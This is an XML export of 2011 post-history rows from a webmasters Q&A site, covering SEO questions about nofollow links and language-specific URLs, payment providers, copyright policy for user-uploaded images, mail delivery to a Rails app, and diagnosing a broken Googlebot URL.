  <row Id="38920" PostHistoryTypeId="5" PostId="16344" RevisionGUID="1832a4f8-62af-42db-9173-463edae22b45" CreationDate="2011-07-03T04:25:08.547" UserId="1253" Comment="added 184 characters in body" Text="Rel=nofollow does not help with seo. It was created by Google to combat link spam. Links that have that attribute pass no pagerank and do not count as a backlink in any major search engine. Google may acknowledge that it found a link with nofollow but that link will have to value.&#xD;&#xA;&#xD;&#xA;[Source](http://www.google.com/support/webmasters/bin/answer.py?answer=96569)&#xD;&#xA;&#xD;&#xA;&gt; **How does Google handle nofollowed links?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; In general, we don't follow them. This&#xD;&#xA;&gt; means that Google does not transfer&#xD;&#xA;&gt; PageRank or anchor text across these&#xD;&#xA;&gt; links" />
  <row Id="38921" PostHistoryTypeId="5" PostId="16343" RevisionGUID="28bc3771-5886-4fc2-8a49-a6f5e7b4329c" CreationDate="2011-07-03T04:32:00.940" UserId="1253" Comment="modified tags, cleaned up question" Text="Google webmasters shows rel=nofollow links as a backlink. I believe that rel=nofollow helps SEO and PageRank but according to many people it is not. What is your idea about this? Did you see that rel=nofollow links also helps your rank and SEO?" />
  <row Id="38922" PostHistoryTypeId="4" PostId="16343" RevisionGUID="28bc3771-5886-4fc2-8a49-a6f5e7b4329c" CreationDate="2011-07-03T04:32:00.940" UserId="1253" Comment="modified tags, cleaned up question" Text="rel=nofollow SEO effect" />
  <row Id="38923" PostHistoryTypeId="6" PostId="16343" RevisionGUID="28bc3771-5886-4fc2-8a49-a6f5e7b4329c" CreationDate="2011-07-03T04:32:00.940" UserId="1253" Comment="modified tags, cleaned up question" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;page-ranking&gt;&lt;nofollow&gt;" />
  <row Id="38924" PostHistoryTypeId="5" PostId="16344" RevisionGUID="85bd5e7d-4d75-494f-960f-04b9a4c5211f" CreationDate="2011-07-03T04:33:12.810" UserId="1253" Comment="edited body" Text="rel=nofollow does not help with SEO. It was created by Google to combat link spam. Links that have that attribute pass no PageRank and do not count as a backlink in any major search engine. Google may acknowledge that it found a link with nofollow but that link will have no value.&#xD;&#xA;&#xD;&#xA;[Source](http://www.google.com/support/webmasters/bin/answer.py?answer=96569)&#xD;&#xA;&#xD;&#xA;&gt; **How does Google handle nofollowed links?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; In general, we don't follow them. This&#xD;&#xA;&gt; means that Google does not transfer&#xD;&#xA;&gt; PageRank or anchor text across these&#xD;&#xA;&gt; links" />
  <row Id="38925" PostHistoryTypeId="25" PostId="16090" RevisionGUID="6f6e1a3a-3ae4-496b-b9f1-85767bb31911" CreationDate="2011-07-03T06:27:01.290" Comment="http://twitter.com/#!/StackWebmasters/status/87406972491673600" />
  <row Id="38926" PostHistoryTypeId="17" PostId="16348" RevisionGUID="d5eda964-1398-43e8-a871-cb4d89eb28ef" CreationDate="2011-07-03T07:26:30.113" UserId="-1" Comment="from http://stackoverflow.com/questions/6561499/language-specific-urls-for-seo" Text="" />
  <row Id="38927" PostHistoryTypeId="17" PostId="16349" RevisionGUID="7952242a-3ffd-40c6-81ae-c43c860c84c7" CreationDate="2011-07-03T07:26:30.113" UserId="-1" Comment="from http://stackoverflow.com/questions/6561499/language-specific-urls-for-seo" Text="" />
  <row Id="38928" PostHistoryTypeId="2" PostId="16349" RevisionGUID="deeb8b82-4bac-45a3-8c5d-57270df06218" CreationDate="2011-07-03T07:23:07.790" UserDisplayName="julianyoung" Text="Te advice i have received by our SEO consultants has always been to to internationalize URLS, files, names, image names and alt tags.   &#xD;&#xA;&#xD;&#xA;This proves a bit of a challenge on multi-language site.  If you have a multi-language site, be careful that the language switch, defaults to the correct language for robots or your site cound be index in a secondary language. " />
  <row Id="38929" PostHistoryTypeId="2" PostId="16348" RevisionGUID="6412a315-e446-421c-b586-28b5f063feb0" CreationDate="2011-07-03T06:38:57.987" UserDisplayName="matsko" Text="I'm currently building a website that is not targeted to an English speaking audience. So my thoughts are that if I were to make the URLs in the language of choice (in this case Spanish) then would this help or hinder my SEO for the website? Is it always better to have english URL paths for getting picked up by search engines?" />
  <row Id="38930" PostHistoryTypeId="1" PostId="16348" RevisionGUID="6412a315-e446-421c-b586-28b5f063feb0" CreationDate="2011-07-03T06:38:57.987" UserDisplayName="matsko" Text="Language Specific URLs for SEO" />
  <row Id="38931" PostHistoryTypeId="3" PostId="16348" RevisionGUID="6412a315-e446-421c-b586-28b5f063feb0" CreationDate="2011-07-03T06:38:57.987" UserDisplayName="matsko" Text="&lt;url&gt;&lt;search&gt;&lt;internationalization&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="38932" PostHistoryTypeId="2" PostId="16350" RevisionGUID="b10d74c3-2f83-48b0-b6be-12e5c2c29e6b" CreationDate="2011-07-03T07:37:24.617" UserId="8687" Text="Rel='nofollow' may have a minor SEO role is marking non content, meta, pages as no to be read. For example my Login page or my contact form are pages that might not be useful for my site to have in search results and so I can mark the links to them as nofollow, in addition adding meta tags for noindex or adding to my robots txt." />
  <row Id="38933" PostHistoryTypeId="2" PostId="16351" RevisionGUID="2b51fffe-c5fb-4701-bff3-cc8cf8a0b8b4" CreationDate="2011-07-03T07:49:49.930" UserId="8687" Text="Google adsense has what it calls &quot;[hosted domains][1]&quot; which lets you see what domain is getting what traffic. In addtion, as you suggest, I set up separate channels for each of my domains. However, again as you say, these are estimates not the actual sum.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/v3/app#myads-viewall-adunits/product=SELF_SERVICE_DOMAIN&amp;view=ADUNITS" />
  <row Id="38934" PostHistoryTypeId="2" PostId="16352" RevisionGUID="58604b5e-3c17-41d9-ac00-60cc90767bf4" CreationDate="2011-07-03T09:15:15.577" UserId="1253" Text="If you are targeting only one language then definitely user URLs that use that language. Keywords in URLs is definitely a ranking factor and one of the more heavier weighted ones. Making your URLs in English would only hurt your SEO efforts as you would be optimizing for a language that your site would not be geared towards." />
  <row Id="38935" PostHistoryTypeId="25" PostId="16348" RevisionGUID="b5e32ad9-0feb-4600-9de5-5119bb7fc3f1" CreationDate="2011-07-03T09:27:03.013" Comment="http://twitter.com/#!/StackWebmasters/status/87452276712673281" />
  <row Id="38936" PostHistoryTypeId="2" PostId="16353" RevisionGUID="4ee9a6a7-3935-4b0f-abd5-f1da53f6abf6" CreationDate="2011-07-03T09:34:04.667" UserId="8687" Text="Found the answer - you can't +1 yourself. The box simple turns red and has a ! in it. Looks like they just don't allow people to +1 sites that belong to themselves. I found out by clicking on my links. Either you can't +1 yourself or my +1 box doesn't work." />
  <row Id="38937" PostHistoryTypeId="2" PostId="16354" RevisionGUID="08f27853-ae24-4994-8368-c3d5bdbc56de" CreationDate="2011-07-03T10:04:03.383" UserId="1240" Text="One of my sites has a fairly large following in Uganda and Mauritius (although in actual percentage terms African nations would rank quite low).&#xD;&#xA;&#xD;&#xA;We currently do most of our processing through Paypal for memberships and donations but they do not allow people from these counties to sign up, nor do the handful of other payment providers we have used in the past.&#xD;&#xA;&#xD;&#xA;Has anyone had any experience accepting money from Africa?&#xD;&#xA;&#xD;&#xA;Ideally the customer would pay no extra charges bar what they are sending us." />
  <row Id="38938" PostHistoryTypeId="1" PostId="16354" RevisionGUID="08f27853-ae24-4994-8368-c3d5bdbc56de" CreationDate="2011-07-03T10:04:03.383" UserId="1240" Text="Reasonable payment providers to allow African countries to pay a UK Business." />
  <row Id="38939" PostHistoryTypeId="3" PostId="16354" RevisionGUID="08f27853-ae24-4994-8368-c3d5bdbc56de" CreationDate="2011-07-03T10:04:03.383" UserId="1240" Text="&lt;payments&gt;&lt;monetize&gt;" />
  <row Id="38943" PostHistoryTypeId="25" PostId="16354" RevisionGUID="f65bc267-aafb-4c49-9299-75c677dab18e" CreationDate="2011-07-03T12:27:03.303" Comment="http://twitter.com/#!/StackWebmasters/status/87497578568101889" />
  <row Id="38944" PostHistoryTypeId="2" PostId="16356" RevisionGUID="954f3614-6d09-4166-8964-5182eafd58f7" CreationDate="2011-07-03T12:39:37.880" UserId="8223" Text="Do you know someone C # asp.net open source advertising server like this? http://www.inzercia.sk/ or http://psy.sk/ ?&#xD;&#xA;... for animal advertising server. thank you.&#xD;&#xA;&#xD;&#xA;Advertising system C# Open Source" />
  <row Id="38945" PostHistoryTypeId="1" PostId="16356" RevisionGUID="954f3614-6d09-4166-8964-5182eafd58f7" CreationDate="2011-07-03T12:39:37.880" UserId="8223" Text="Advertising system C# Open Source" />
  <row Id="38946" PostHistoryTypeId="3" PostId="16356" RevisionGUID="954f3614-6d09-4166-8964-5182eafd58f7" CreationDate="2011-07-03T12:39:37.880" UserId="8223" Text="&lt;c#&gt;" />
  <row Id="38947" PostHistoryTypeId="2" PostId="16357" RevisionGUID="8b2c3b79-7b50-407d-aef4-ede5e4eb24fb" CreationDate="2011-07-03T12:49:40.937" UserId="8223" Text="http://nopcommerce.com/ is C# solution , open source, this is demo &#xD;&#xA;http://infinityobchod.sk/" />
  <row Id="38948" PostHistoryTypeId="2" PostId="16358" RevisionGUID="3bd990e6-ab5e-43a1-b286-1cab239218a6" CreationDate="2011-07-03T13:56:14.127" UserId="5718" Text="The nofollow links aren't supposed to be used in the calculation of the PageRank that a page receives. However, people commonly mention that some types of social media nofollow links do pass PageRank. My understanding of this is Google does at least use Twitter links but they aren't using the ones they discover via normal web spidering. Google also receives Twitter data via an API where the links don't carry the nofollow attribute. &#xD;&#xA;&#xD;&#xA;However, I don't think the links pass PageRank in the normal way; it has more to do with the way that they rank Twitter reputation. This means that unless you're an authority on Twitter then the links will be meaningless from a ranking perspective. I'm not sure of the details about how authority is calculated but I think it's more than just your number of followers.&#xD;&#xA;&#xD;&#xA;In the past there was also a common SEO technique, called Page Sculpting, where people tried to influence the flow of PageRank through a site by limiting the number of internal links that didn't use nofollow. However, Google modified their algorithm so this stopped working. The nofollow links are now used to calculate the PageRank distribution so more links mean less PageRank per link; even if it's not passed on to all of them." />
  <row Id="38949" PostHistoryTypeId="5" PostId="16356" RevisionGUID="9fd1a062-94d6-4697-baa3-206859e7a7d5" CreationDate="2011-07-03T14:33:12.107" UserId="1253" Comment="deleted 43 characters in body; edited tags" Text="Do you know someone C # asp.net open source advertising server like this? http://www.inzercia.sk/ or http://psy.sk/ ? It is for an animal advertising server. " />
  <row Id="38950" PostHistoryTypeId="6" PostId="16356" RevisionGUID="9fd1a062-94d6-4697-baa3-206859e7a7d5" CreationDate="2011-07-03T14:33:12.107" UserId="1253" Comment="deleted 43 characters in body; edited tags" Text="&lt;advertising&gt;&lt;looking-for-a-script&gt;&lt;c#&gt;" />
  <row Id="38955" PostHistoryTypeId="25" PostId="16343" RevisionGUID="b9d4e23d-7f24-40e9-bf57-1e04992a44a8" CreationDate="2011-07-03T15:27:04.393" Comment="http://twitter.com/#!/StackWebmasters/status/87542881585332224" />
  <row Id="38959" PostHistoryTypeId="2" PostId="16360" RevisionGUID="fd719081-cf58-40c7-9ad8-380b963ea28c" CreationDate="2011-07-03T16:54:18.083" UserId="6193" Text="I have a hand-coded site. I just started working on a strategy that will allow users to integrate their images and drawings into the site. The problem is that I know users will start uploading images that they stole from around the internet. This is not acceptable and I don't want trouble with other webmasters. So, I need a high level strategy to deal with this problem.   &#xD;&#xA;   &#xD;&#xA;Plan A:   &#xD;&#xA;Let them upload the image URLs. (The images won't be displayed initially.) then let a trusted moderator make a judgement. If it is open source from Wikimedia for example, chances are it can be used.  If however the image is from another site, it could be an opportunity to contact the webmaster, offer to swap a link for a one-time use of their image (compliment them on site and do a little promotion/networking).&#xD;&#xA;    &#xD;&#xA;Plan B:    &#xD;&#xA;Tie the custom coded site into some image gallery if they have some 'legalese' policy already integrated into it. &#xD;&#xA;    &#xD;&#xA;Plan C:    &#xD;&#xA;Is there a third party image hosting service that permits some sort of hot linking? What are the SEO implications of this approach?&#xD;&#xA;    &#xD;&#xA;Plan D:    &#xD;&#xA;?    &#xD;&#xA;    &#xD;&#xA;In Summary:    &#xD;&#xA;How can I let users upload images without getting myself in trouble? (Critique plan A, Finish Plan B or C, or create a new Plan D.)    " />
  <row Id="38960" PostHistoryTypeId="1" PostId="16360" RevisionGUID="fd719081-cf58-40c7-9ad8-380b963ea28c" CreationDate="2011-07-03T16:54:18.083" UserId="6193" Text="User Upload of Images &amp; Copyright" />
  <row Id="38961" PostHistoryTypeId="3" PostId="16360" RevisionGUID="fd719081-cf58-40c7-9ad8-380b963ea28c" CreationDate="2011-07-03T16:54:18.083" UserId="6193" Text="&lt;images&gt;&lt;copyright&gt;" />
  <row Id="38962" PostHistoryTypeId="5" PostId="16358" RevisionGUID="7e5c726a-4371-4b2e-939a-d08ed31df08c" CreationDate="2011-07-03T17:02:14.367" UserId="5718" Comment="added 196 characters in body" Text="The nofollow links aren't supposed to be used in the calculation of the PageRank that a page receives. However, people commonly mention that some types of social media nofollow links do pass PageRank. My understanding of this is Google does at least use Twitter links but they aren't using the ones they discover via normal web spidering. Google also receives Twitter data via an API where the links don't carry the nofollow attribute. &#xD;&#xA;&#xD;&#xA;However, I don't think the links pass PageRank in the normal way; it has more to do with the way that they rank Twitter reputation. This means that unless you're an authority on Twitter then the links will be meaningless from a ranking perspective. I'm not sure of the details about how authority is calculated but I think it's more than just your number of followers. You can find more about Twitter and how it affects SE Ranking in this Q&amp;A between Danny Sullivan and Google/Bing: http://searchengineland.com/what-social-signals-do-google-bing-really-count-55389&#xD;&#xA;&#xD;&#xA;In the past there was also a common SEO technique, called Page Sculpting, where people tried to influence the flow of PageRank through a site by limiting the number of internal links that didn't use nofollow. However, Google modified their algorithm so this stopped working. The nofollow links are now used to calculate the PageRank distribution so more links mean less PageRank per link; even if it's not passed on to all of them." />
  <row Id="38963" PostHistoryTypeId="25" PostId="16360" RevisionGUID="d776f1a7-e571-4bfd-95b1-f1515d9ceb20" CreationDate="2011-07-03T18:27:05.303" Comment="http://twitter.com/#!/StackWebmasters/status/87588182136336384" />
  <row Id="38964" PostHistoryTypeId="4" PostId="16360" RevisionGUID="3c7a29fd-4f92-4a29-85d9-b63c75ca5a00" CreationDate="2011-07-03T18:28:21.597" UserId="6193" Comment="clarity" Text="User Upload of Images &amp; Copyright Issues" />
  <row Id="38965" PostHistoryTypeId="2" PostId="16361" RevisionGUID="e5aceadb-fb00-4622-89d4-506ad0c7134c" CreationDate="2011-07-03T18:39:59.253" UserId="7962" Text="Companies don't go around suing everybody who misuses their copyrighted stuff. The legal procedure always begins with a notification of the copyright infringements and specific demands.&#xD;&#xA;&#xD;&#xA;**Write an EULA**&#xD;&#xA;&#xD;&#xA;That said, the best procedure would be allowing anything to be posted but have some moderators taking care of removal requests. It also helps if you build a reputation system and punish users who insist in uploading copyrighted data. Describe everything you don't want posted in your site in your EULA - which should be a must to upload or create an account - and other garbage nobody really reads.&#xD;&#xA;&#xD;&#xA;**BONUS**&#xD;&#xA;&#xD;&#xA;ThePirateBay stores [copies of legal documents from big companies][1] (such as Apple and WarnerBros) threatening to take legal actions *if their demands are not met*. If big companies like that are so powerless to do anything legally, imagine smaller companies. You should be fine since you're not actually trying to host illegal content intentionally.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thepiratebay.org/legal" />
  <row Id="38966" PostHistoryTypeId="2" PostId="16362" RevisionGUID="f303a1d3-bddf-4698-927d-ebf111f9e8f3" CreationDate="2011-07-03T19:23:59.153" UserId="7198" Text="You can do at least five things to reduce the risk of copyright infringement harming your business:&#xD;&#xA;&#xD;&#xA; 1. Upon upload, remind the user not to share copyrighted material. YouTube does this with an 'I own this video or have written permission to share it' checkbox that has to be ticked before the video can be uploaded.&#xD;&#xA; 2. Add two clauses to your terms: one that waives liability for images you display from users, and another that forbids uploading of copyrighted material.&#xD;&#xA; 3. Provide a clear way for copyright holders to apply for material to be removed.&#xD;&#xA; 4. Provide a clear way for other site users to flag images as objectionable or potentially violating copyright. Self-policing online communities are valuable things.&#xD;&#xA; 5. Make it clear who owns images that users upload, perhaps by offering them a choice of licence for the images they upload. (YouTube offers a restricted licence or a copyleft -style one. Flickr does something similar.)" />
  <row Id="38967" PostHistoryTypeId="2" PostId="16363" RevisionGUID="acb0867f-90c8-4173-a6c6-ea782598a97a" CreationDate="2011-07-03T19:49:56.643" UserId="8773" Text="all, this is my first question and I hope I chose the right place to post it. Here's what I need help with:&#xD;&#xA;&#xD;&#xA;I've been looking for this all day and I'm having a hard time finding a SMTP mail server that would fit the following criteria:&#xD;&#xA;&#xD;&#xA;* lightweight, does one thing and does it good&#xD;&#xA;* is able to route and deliver local mail to a Rails application&#xD;&#xA;&#xD;&#xA;The second point could be accomplished in any number of ways. I'm running a VPS, so I have full freedom in how to implement this. It could, for example, put messages straight in the db, pipe them to a helper program that would then process them accordingly or also save messages in a mbox file and run a script after every received message.&#xD;&#xA;&#xD;&#xA;I'm building a small site so the traffic is not going to be a problem. If there are alternative ways to deliver messages to a Rails app, I'd gladly hear about them. Thank you." />
  <row Id="38968" PostHistoryTypeId="1" PostId="16363" RevisionGUID="acb0867f-90c8-4173-a6c6-ea782598a97a" CreationDate="2011-07-03T19:49:56.643" UserId="8773" Text="SMTP server to deliver mail to Rails app, how?" />
  <row Id="38969" PostHistoryTypeId="3" PostId="16363" RevisionGUID="acb0867f-90c8-4173-a6c6-ea782598a97a" CreationDate="2011-07-03T19:49:56.643" UserId="8773" Text="&lt;email&gt;&lt;ruby-on-rails&gt;" />
  <row Id="38970" PostHistoryTypeId="2" PostId="16364" RevisionGUID="f944ccf7-edc7-48a0-9239-32e376a8f87e" CreationDate="2011-07-03T20:12:14.963" UserId="1167" Text="I'd just set up an IMAP or POP3 server and have the rails app retrieve the mail that way. Ruby most likely has decent library support (either in the standard library, the rails framework or another third party library) for both protocols and it will require very little work on your part to get working.&#xD;&#xA;&#xD;&#xA;I'm not a Ruby guy but I do know just about every single programming language out there has good support for these. Plus it also has the advantage that you can test the email system out easily with a standard email client." />
  <row Id="38971" PostHistoryTypeId="2" PostId="16365" RevisionGUID="0e86582f-d3b3-4ba3-a54c-36bceafc767e" CreationDate="2011-07-03T20:46:23.340" UserId="8774" Text="I have a video website, server and domain bought 3 months 1 week ago, website actually started 1 month 1 week ago. Domain name plain and simple, easy to remember, bought with a yearly fee, nothing similar exists. Domain name appears in all pages' title.&#xD;&#xA;&#xD;&#xA;Around a week ago, started coming up with odd websites in google searches: my website has 0 pagerank (not enough traffic, no advertising yet and no backlinks, a maximum of 10,000 pageloads a day, this week's average 3000 pageviews a day - because of the time of year? ) other websites with higher pagerank (heck, it's not that hard to beat a 0 pagerank-1 month old website) have started using my name in their content titles! like name, sometimes including .com!&#xD;&#xA;&#xD;&#xA;I wish not to reveal my website address for ethical purposes, so for now i shall call it foofoo.com&#xD;&#xA;&#xD;&#xA;So my pages are: foofoo.com - best free video sharing site: free full hd episodes, free flash games etc... Lame Video title man runs on the street with no shoes video - foofoo.com Count Sheeps till you go to sleep flash game - foofoo.com&#xD;&#xA;&#xD;&#xA;google searches for foofoo.com point directly to my website BUT google searches for foofoo point to some pages like: notfoo.com/foofoo-com-stolen-title-and-vid-for-views with title like foofoo.com vid title here bla bla&#xD;&#xA;&#xD;&#xA;searching google for &quot;foofoo&quot; 2 weeks ago would place me 10th, and going up. searching for it now places me somewhere on 30th-35th and going down! all places before me are taken by titles containing my name, domain, title, content title etc and I don't know what to do about it! All my pages have a copyright notice at the bottom of the page and i have a terms and conditions on my website.&#xD;&#xA;&#xD;&#xA;I did not register a trademark, but searched for it and no one has registered a trademark containing my domain name. I do not know what to do... can someone please advise? I am currently reading about legal stuff, trademark and such, but just started today so it will be tough. Also, I cannot afford any payed advise, such as a lawyer... that's mainly the reason for which I haven't yet payed for a registered trademark.Does anyone have an idea on what could be the cost of registering a trademark?&#xD;&#xA;&#xD;&#xA;Please help me solve this issue... Thanks in advance to all of you going to answer and help me!&#xD;&#xA;" />
  <row Id="38972" PostHistoryTypeId="1" PostId="16365" RevisionGUID="0e86582f-d3b3-4ba3-a54c-36bceafc767e" CreationDate="2011-07-03T20:46:23.340" UserId="8774" Text="title, content copied and title, name used! trademark issue?!" />
  <row Id="38973" PostHistoryTypeId="3" PostId="16365" RevisionGUID="0e86582f-d3b3-4ba3-a54c-36bceafc767e" CreationDate="2011-07-03T20:46:23.340" UserId="8774" Text="&lt;legal&gt;&lt;content&gt;&lt;copyright&gt;&lt;law&gt;&lt;protection&gt;" />
  <row Id="38974" PostHistoryTypeId="25" PostId="16365" RevisionGUID="155d30a6-b534-42eb-8a3b-89e7ddd2ccbd" CreationDate="2011-07-03T21:27:04.833" Comment="http://twitter.com/#!/StackWebmasters/status/87633480669868033" />
  <row Id="38976" PostHistoryTypeId="17" PostId="16366" RevisionGUID="d13e90f9-ff52-49f0-8dcd-fecb5c0436fc" CreationDate="2011-07-03T21:55:54.747" UserId="-1" Comment="from http://serverfault.com/questions/286625/how-can-i-find-the-source-of-this-broken-link-to-our-site" Text="" />
  <row Id="38977" PostHistoryTypeId="2" PostId="16366" RevisionGUID="fd56c7ab-000f-4a34-9e57-c0efb2cdc2dc" CreationDate="2011-07-03T20:47:42.833" UserId="4787" Text="In our error logs we have quite a few (~ 10s / day) internal recursion errors caused by googlebot. Here is a typical example:&#xD;&#xA;&#xD;&#xA;    [Sun Jul 03 10:58:22 2011] [error] [client goo.gle.ipa.ddr] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.&#xD;&#xA;&#xD;&#xA;Looking in the access log, the offending GET is always looking for a broken URL with this format:&#xD;&#xA;&#xD;&#xA;    http://ourdomain.com/wp-content/uploads/2007/11/image-name.jpg%22%20width=%2239%22%20height=%2250%22%20alt=%22image%22/%3E%3C/a%3E%3Ca%20href=%22/m/imgres?q=some+query+here&#xD;&#xA;&#xD;&#xA;Undoing the URL encoding to make it more readable:&#xD;&#xA;&#xD;&#xA;    http://ourdomain.com/wp-content/uploads/2007/11/image-name.jpg&quot; width=&quot;39&quot; height=&quot;50&quot; alt=&quot;image&quot;/&gt;&lt;/a&gt;&lt; href=&quot;/m/imgres?q=some+query+here&#xD;&#xA;&#xD;&#xA;This looks like a broken fragment of some HTML that was displaying the image as part of a hyperlink. Looks like it might have been part of some sort of search result.&#xD;&#xA;&#xD;&#xA;We don't have any links of this format anywhere in our site, so I can only assume this is a reference from somewhere else that is either misinterpreted by googlebot, or is just broken in the page markup.&#xD;&#xA;&#xD;&#xA;There is no entry for the referrer in the Apache access_log. I have tried to find the source in Google webmaster tools, but although the unreachable is noted, there is no mention of the source. I've also tried to use Google to find the reference without success. I do notice that the &quot;imgres&quot; in the href fragment is used in Google image search, but the rest of the fragment isn't consistent with this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;- Should I bother with this or just let these recursion errors happen (10s of them / day)?&#xD;&#xA;- If I need to bother, any suggestions on how to find their source?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="38978" PostHistoryTypeId="1" PostId="16366" RevisionGUID="fd56c7ab-000f-4a34-9e57-c0efb2cdc2dc" CreationDate="2011-07-03T20:47:42.833" UserId="4787" Text="How can I find the source of this broken link to our site?" />
  <row Id="38979" PostHistoryTypeId="3" PostId="16366" RevisionGUID="fd56c7ab-000f-4a34-9e57-c0efb2cdc2dc" CreationDate="2011-07-03T20:47:42.833" UserId="4787" Text="&lt;google&gt;" />
  <row Id="38980" PostHistoryTypeId="5" PostId="16363" RevisionGUID="f470d606-087b-4a96-9597-32a6fdc5a1ee" CreationDate="2011-07-03T23:01:51.077" UserId="8773" Comment="added answer" Text="all, this is my first question and I hope I chose the right place to post it. Here's what I need help with:&#xD;&#xA;&#xD;&#xA;I've been looking for this all day and I'm having a hard time finding a SMTP mail server that would fit the following criteria:&#xD;&#xA;&#xD;&#xA;* lightweight, does one thing and does it good&#xD;&#xA;* is able to route and deliver local mail to a Rails application&#xD;&#xA;&#xD;&#xA;The second point could be accomplished in any number of ways. I'm running a VPS, so I have full freedom in how to implement this. It could, for example, put messages straight in the db, pipe them to a helper program that would then process them accordingly or also save messages in a mbox file and run a script after every received message.&#xD;&#xA;&#xD;&#xA;I'm building a small site so the traffic is not going to be a problem. If there are alternative ways to deliver messages to a Rails app, I'd gladly hear about them. Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;After long searching, I think I've found what I was looking for.&#xD;&#xA;Exim is a mail server that can deliver local mail to pipes. Also, Rails 3 and ActionMailer can make it really easy to process the incoming mail. More info here:&#xD;&#xA;&#xD;&#xA; - http://www.exim.org/exim-html-current/doc/html/spec_html/ch29.html&#xD;&#xA; - http://guides.rubyonrails.org/action_mailer_basics.html#receiving-emails" />
  <row Id="38981" PostHistoryTypeId="25" PostId="16345" RevisionGUID="adab858e-dba9-4e72-b3a7-86bd96f64ce3" CreationDate="2011-07-04T00:27:05.297" Comment="http://twitter.com/#!/StackWebmasters/status/87678781233442816" />
  <row Id="38982" PostHistoryTypeId="2" PostId="16367" RevisionGUID="c031ed35-1bca-41d5-9db5-e504a34b3c3b" CreationDate="2011-07-04T00:31:38.940" UserId="8687" Text="On my site, I restrict the sources of images. My site is published under a Creative Commons license so that I can use many sources such as wikipedia, flickr and such. When an image is submitted, my scripts check the URL matches one of my approved sources and if possible, checks that the license that source published under is compatible with my site.&#xD;&#xA;&#xD;&#xA;This also has the benefit of reducing the problem of malicious uploads. People uploading scripts to hack my system instead of images. Since wikipedia and flickr have already scanned the image for such threats. Course, I still scan them anyway just to be sure but it makes me feel more comfortable. " />
  <row Id="38983" PostHistoryTypeId="5" PostId="16367" RevisionGUID="664fc66d-c6d5-491a-8481-d45cf44ac01f" CreationDate="2011-07-04T00:36:52.993" UserId="8687" Comment="added 274 characters in body" Text="On my site, I restrict the sources of images. My site is published under a Creative Commons license so that I can use many sources such as wikipedia, flickr and such. When an image is submitted, my scripts check the URL matches one of my approved sources and if possible, checks that the license that source published under is compatible with my site.&#xD;&#xA;&#xD;&#xA;If a user wants to upload an image to my site, they must first upload it to an image sharing site, such as flickr, then point me at the URL.&#xD;&#xA;&#xD;&#xA;This also has the benefit of reducing the problem of malicious uploads. People uploading scripts to hack my system instead of images. Since wikipedia and flickr have already scanned the image for such threats. Course, I still scan them anyway just to be sure but it makes me feel more comfortable. &#xD;&#xA;&#xD;&#xA;As for your plan C, I believe this is used by many site. StackExchange seems to use imgur.com to host its image contributions." />
  <row Id="38984" PostHistoryTypeId="2" PostId="16368" RevisionGUID="db29be21-27d3-4403-aeda-0b8276cbc20e" CreationDate="2011-07-04T00:58:18.537" UserId="8317" Text="I am interested in learning how to run a server to host a website and provide me with email and all the other features hosting companies offer. I have read snippets from all over about different aspects, but I would like an absolute begining as I don't really even understand how servers work. Can anyone recommend a site or book that would offer a solid foundation for understanding how a server works." />
  <row Id="38985" PostHistoryTypeId="1" PostId="16368" RevisionGUID="db29be21-27d3-4403-aeda-0b8276cbc20e" CreationDate="2011-07-04T00:58:18.537" UserId="8317" Text="I want to learn about servers, where should I start?" />
  <row Id="38986" PostHistoryTypeId="3" PostId="16368" RevisionGUID="db29be21-27d3-4403-aeda-0b8276cbc20e" CreationDate="2011-07-04T00:58:18.537" UserId="8317" Text="&lt;web-hosting&gt;&lt;webserver&gt;&lt;website-development&gt;" />
  <row Id="38987" PostHistoryTypeId="2" PostId="16369" RevisionGUID="6fd2bf77-5f13-49fe-9cd7-24ca18d407dd" CreationDate="2011-07-04T01:27:55.167" UserId="8777" Text="I am just coming into a new web design role and so far I can find no central repository of all images as used on the website.  I have previously, at some point in the design process, inserted all design images (global buttons, layout images, background gradients etc) into a PNG file - sometimes multiple PNG files if warranted.  (Please note that I am not talking about content images (such as photos that would be used in an article), just the images that are part of the design.)&#xD;&#xA;&#xD;&#xA;Before I go about the usual task of compiling all images into a PSD/PNG, just to see if there are other, more manageable ways.&#xD;&#xA;&#xD;&#xA;My question here is, how do you store all of the images that you use in a website? Do you have a central repository (PSD/PNG) file for all of your buttons, all of your gradients or is that unnecessary?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38988" PostHistoryTypeId="1" PostId="16369" RevisionGUID="6fd2bf77-5f13-49fe-9cd7-24ca18d407dd" CreationDate="2011-07-04T01:27:55.167" UserId="8777" Text="How to compile all design images as used in website design?" />
  <row Id="38989" PostHistoryTypeId="3" PostId="16369" RevisionGUID="6fd2bf77-5f13-49fe-9cd7-24ca18d407dd" CreationDate="2011-07-04T01:27:55.167" UserId="8777" Text="&lt;images&gt;&lt;design&gt;&lt;png&gt;&lt;psd&gt;" />
  <row Id="38990" PostHistoryTypeId="2" PostId="16370" RevisionGUID="ff6160b9-7bc2-4c94-a60a-90833d20996f" CreationDate="2011-07-04T03:15:25.193" UserId="7588" Text="Your best bet is to rent a Virtual Server for ~£15 a month for approximately six months.&#xD;&#xA;&#xD;&#xA;The reason being that there is only so much you can do with an offline host, e.g. something on your LAN - it is just not 'real-world' enough.&#xD;&#xA;&#xD;&#xA;The best operating system to learn with is Ubuntu simply because it has the best community support of all of the distros.&#xD;&#xA;&#xD;&#xA;With your basic box you will need to get the webserver running, the emails to work and build a suite of tools so that you can access the thing with more than the command line.&#xD;&#xA;&#xD;&#xA;Rather than follow a course or reading a book, the Virtual Server and some tasks you wish to complete will help you with goal-oriented learning.&#xD;&#xA;&#xD;&#xA;One site that I found immensely useful is [http://www.howtoforge.com/][1]&#xD;&#xA;&#xD;&#xA;Their how-to articles include the 'perfect server' series. These will take you through all the steps needed to build a functoning LAMP stack.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtoforge.com/" />
